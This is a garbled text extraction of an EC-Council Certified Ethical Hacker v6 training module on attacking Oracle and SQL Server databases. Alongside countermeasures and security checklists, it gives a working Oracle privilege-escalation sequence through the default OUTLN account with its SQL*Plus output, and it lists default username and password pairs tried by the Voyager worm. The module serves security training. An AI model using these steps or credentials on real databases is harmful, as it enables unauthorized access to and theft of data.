Ce Hv6 Module 42 Hacking Database Servers

Ethical Hacking and
Countermeasures
Version 6

Module
Mod le XLII
Hacking Database Servers

News

Source: http://searchsecurity.techtarget.com/

Copyright © by EC-Council
EC-Council All Rights Reserved. Reproduction is Strictly Prohibited

Module Objective

This module will familiarize you with:

Database Servers

Attacking Oracle
g

How to Break into an Oracle Database

Oracle Worm

Hacking SQL Server

Ten H k T i k
T Hacker Tricks to Exploit
E l i

How SQL Server is Hacked

Tools


Module Flow

How SQL Server
Database Servers Oracle Worm
is Hacked

Attacking Oracle Hacking SQL Server Tools

How to Break into Ten Hacker Tricks to
an Oracle Database Exploit


Introduction

Databases are the heart of a commercial website

An attack on database servers can cause a great
monetary loss for the company

Database servers are usually hacked to get the
critical information

Mistakes made by the web designers can reveal the
databases of the server to the hacker


Hacking O ac e
ac g Oracle
Database Server


Attacking Oracle

Finding an Oracle database server on network is done
using TCP port scan

Once the Oracle database server h b
O h O l d b has been di
discovered,
d
the first port of call is the TNS Listener

Using PL/SQL Injection, attackers can potentially
elevate their level of privilege from a low-level PUBLIC
account to an account with DBA-level privileges


Security Issues in Oracle

SQL Injection

SQL Manipulation

Code Injection Attack

Buffer Overflow


Types of Database Attacks

Excessive privileges:
p g
• When users (or applications) are granted database
privileges that exceed the requirements of their job
function, these privileges may be used to gain access
to confidential information

Solution:

• Query-level access control as it restricts privileges to
minimum-required operations and data


(cont d)
(cont’d)
Privilege abuse:
• Privilege is abused when a system user performs an
action that is not in accordance with corporate policy
or law
• U
Users may abuse legitimate data access privileges f
b l ii d i il for
unauthorized purposes

Solution:

•AAccess control policies th t apply not only t what d t i
t l li i that l t l to h t data is
accessible, but how data is accessed
• By enforcing policies for time of day, location, and application
client and volume of data retrieved, it is possible to identify
users who are abusing access privileges

(cont d)
(cont’d)

Platform vulnerabilities:
• Vulnerabilities in underlying operating systems may
lead to unauthorized data access and corruption

Solution:

• IPS tools are a good way to identify and/or block attacks
designed to exploit known database platform
vulnerabilities


(cont d)
(cont’d)
Denial of service:

• Common DoS techniques include buffer overflows, data corruption,
network flooding, and resource consumption

Database protocol vulnerabilities:

• Vulnerabilities in database protocols may allow unauthorized data
access, corruption
access corruption, or availability
• Protocol attacks can be defeated by parsing and validating SQL
communications to make sure they are not malformed

Exposure of backup data:
• Some recent high profile attacks have involved
theft f database b k t
th ft of d t b backup tapes and h d di k
d hard disks


How to Break into an Oracle
Database and Gain DBA Privileges
New databases made with a create database command are installed with a user
called OUTLN

This schema is used to hold information about stored outlines for the plan
stability feature
y

User has an easily guessable password and is left unlocked when database is
created

DBAs commonly overlook this but it is so important to either change the
password or lock the account because it can be used to gain DBA privileges

The critical system privilege granted by default to the OUTLN user is EXECUTE
ANY PROCEDURE

If you can execute any procedure i the d b
d in h database, then try this one, and l k f
h hi d look for
the privileges you can gain

and Gain DBA Privileges (cont’d)
(cont d)
$ sqlplus outln/xxxx@DEMO SQL> select * from
session_privs;
SQL*Plus: Release 9.2.0.3.0
PRIVILEGE
- Production on Thu Sep 4
----------------------------
13:58:14 2003 ------------
Copyright (c) 1982, 2002, CREATE SESSION
Oracle Corporation. All ALTER SESSION
UNLIMITED TABLESPACE
rights reserved.
CREATE TABLE
Connected to: CREATE CLUSTER
Oracle9i Enterprise CREATE SYNONYM
Edition Release 9.2.0.3.0 CREATE VIEW
CREATE SEQUENCE
- 64bit Production
CREATE DATABASE LINK
With the Partitioning, CREATE PROCEDURE
OLAP and Oracle Data EXECUTE ANY PROCEDURE
Mining options CREATE TRIGGER
JServer Release 9.2.0.3.0 CREATE TYPE
- Production CREATE OPERATOR
CREATE INDEXTYPE


(cont d)
SQL>execdbms_repcat_admin.grant_admin_any_schema('OUTLN');
PL/SQL procedure successfully completed.
SQL> select * from session_p
Q privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE ANY TABLE
ALTER ANY TABLE
DROP ANY TABLE
COMMENT ANY TABLE
CO
SELECT ANY TABLE
INSERT ANY TABLE
UPDATE ANY TABLE
DELETE ANY TABLE
CREATE CLUSTER
CREATE ANY CLUSTER
ALTER ANY CLUSTER
DROP ANY CLUSTER
CREATE ANY INDEX


(cont d)
ALTER ANY INDEX PROCEDURE
DROP ANY INDEX EXECUTE ANY PROCEDURE
CREATE SYNONYM CREATE TRIGGER
CREATE ANY SYNONYM CREATE ANY TRIGGER
DROP ANY SYNONYM ALTER ANY TRIGGER
CREATE PUBLIC SYNONYM DROP ANY TRIGGER
DROP PUBLIC SYNONYM CREATE ANY SNAPSHOT
CREATE VIEW ALTER ANY SNAPSHOT
CREATE ANY VIEW DROP ANY SNAPSHOT
DROP ANY VIEW CREATE TYPE
CREATE SEQUENCE CREATE ANY TYPE
CREATE ANY SEQUENCE ALTER ANY TYPE
ALTER ANY SEQUENCE DROP ANY TYPE
DROP ANY SEQUENCE CREATE OPERATOR
CREATE DATABASE LINK CREATE ANY OPERATOR
CREATE PROCEDURE DROP ANY OPERATOR
CREATE ANY PROCEDURE CREATE INDEXTYPE
ALTER ANY PROCEDURE CREATE ANY INDEXTYPE
DROP ANY DROP ANY INDEXTYPE


Oracle Worm: Voyager Beta

Voyager Beta worm attacks Oracle servers using default accounts and passwords

It snarfs the local IP address, lops off the last octet and replaces it with the value of ‘220’

It attempts a TCP connection to TCP p
p port 1521, where the Oracle connection service listens
5 ,

It then tries a series of usernames and passwords:
'system'/'manager', 'sys'.'change_on_install',
'dbsnmp'/'dbsnmp', 'outln'/'outln',
/ /
'scott'/'tiger', 'mdsys'/'mdsys', 'ordcommon'/'ordcommon‘

If it can authenticate, create table 'X' with column 'Y‘; it does not appear to transfer the
, ; pp
payload


Hacking SQL Server
g Q


Ten Hacker Tricks to Exploit
SQL Server Systems

The following are the tricks to exploit SQL Server
systems:

• Direct Connections via the Internet
• Vulnerability scanning
• Enumerating the SQL Server Resolution Service
• Cracking SA passwords
• Direct exploit
Direct-exploit attacks
• SQL injection
• Blind SQL injection
• Reverse engineering the system
• Google h k
G l hacks
• Perusing Web site source code


Screenshots for Hacker Tricks

Vulnerability Scanning

SQL Injection

Direct-exploit Attacks


How SQL Server is Hacked

Hacker uses the following:

• MS SQL Server, Developer Edition
• MS SQL Client tools such as Query Analyzer
and odbcping
• NGSSniff
• NGSSQLCrack
• NGSSQuirreL
• Microsoft Visual C++


Query Analyzer

Microsoft SQL Server SQL Query Analyzer is
a graphical tool that allows you to:

• Create queries and other SQL scripts and execute them against
SQL Server databases (Query window)
S d t b (Q i d )
• Quickly create commonly used database objects from predefined
scripts (Templates)
• Quickly copy existing database objects (Object Browser scripting
feature)
• Execute stored procedures without knowing the
parameters(Object Browser procedure execution feature)
• D b stored procedures(T-SQL D b
Debug d d (T SQL Debugger) )
• Debug query performance problems(Show Execution Plan, Show
Server Trace, Show Client Statistics, and Index Tuning Wizard)
• Add frequently used commands to the Tools menu(customized
Tools menu feature)

odbcping Utility

The odbcping utility tests the integrity of an ODBC data source and
p g y g y
the ability of the client to connect to a server

Syntax:
y
odbcping [/?] |
[
{
-Sserver_name [instance_name]
| -Ddata_source
}
[- Ulogin_id]
[-Ppassword]
]


Tool: ASPRunner Professional
ASPRunner Professional enables to create a set of ASP
pages to access and modify data from a database,
including Oracle,
i l di O l SQL S Server, MS AAccess, DB M SQL
DB2, MySQL,
FileMaker, or any other ODBC datasource

The generated ASP pages can optionally allow user to
search, edit, delete, and add data into database

In addition, it can restrict access to data with a login
page either with a specified username/password or
existing user information from database

You can specify which fields to include and which fields
should b searchable
h ld be h bl


ASPRunner Professional:
Screenshot


Tool: FlexTracer

FlexTracer enables to trace SQL-queries for various RDBMS and functions
exported by DLLs

It creates a history log containing all invoked operations, as well as their
results, parameters, and execution times

FlexTracer currently supports Oracle (OCI), MS SQLServer DB-Lib, MySQL,
Interbase/Firebird, ODBC, as well as file input/output, and registry read/write
operations

The created log files can be saved in HTML format for future analysis

Features:

• Customizable Script Engine
• SQL Assembler plugin to merge SQL statements with parameters


FlexTracer: Screenshot


Security T l
S it Tools


Security Tools

AppRadar:

• Used for detecting and exploiting database
vulnerabilities
• It can simultaneously protect an unlimited
number of MS SQL and Oracle databases

DbEncrypt:

• Designed to protect data at rest utilizing
strong encryption built upon a strong
key management mechanism
• It handles all user access and
encryption/decryption operations in the
yp / yp p
background

Security Tools (cont’d)

AppDetective:

• It is a network-based, penetration
testing/vulnerability assessment scanner that
locates and determines security strength of
databases within a network
• After locating, it examines, reports, and help fix
security holes, and misconfigurations

Oracle Selective Audit:

• It is an Oracle consulting solution that provides
capabilities to monitor user access to data
within an Oracle database; including the ability
to capture and play back SQL queries
• It provides security specialists with a means to
manage and control auditing without involving
the DBA


SQL Server Security Best Practices:
Administrator Checklist
Physical security
• Ensure the physical security of your server

Firewalls
• P t a fi
Put firewall b t
ll between your server and th I t
d the Internet
t

Isolation of services
• Isolate services to reduce the risk that a compromised service could be used to
p
• Run separate SQL Server services under separate Windows accounts

Service accounts
• Create Windows accounts with the lowest possible privileges for running SQL Server
services

File System
• Use NTFS
• Use RAID for critical data files


SQL Server Security Best
Practices: Developer Checklist
Use ownership chaining effectively
• Use ownership chaining within a single database to simplify permissions management

Use roles to simplify permission management and ownership
• Assign permissions to roles rather than directly to users

Turn on encryption (SSL or IPSEC)
• Enable encrypted connections to your server, and consider allowing only encrypted
connections
i

Do not propagate SQL Server errors back to user
• Application should not return SQL Server errors to the end user. Log them instead, or
user instead
transmit them to the system administrator

Prevent SQL injection
• Defend against SQL injection by validating all user input before transmitting it to the
server


Summary

Databases are the heart of a commercial website

Mistakes made by the web designers can reveal the databases of the
server to the hacker

Database hacking is done through browser

An Oracle database server on network is found through TCP port scan

ASPRunner allows to publish an existing database

FlexTracer enables to trace SQL-queries for various RDBMS and
SQL queries
functions exported by DLLs

Ce Hv6 Module 42 Hacking Database Servers

More Related Content

What's hot (19)

Viewers also liked (8)

Similar to Ce Hv6 Module 42 Hacking Database Servers (20)

Recently uploaded (20)

Ce Hv6 Module 42 Hacking Database Servers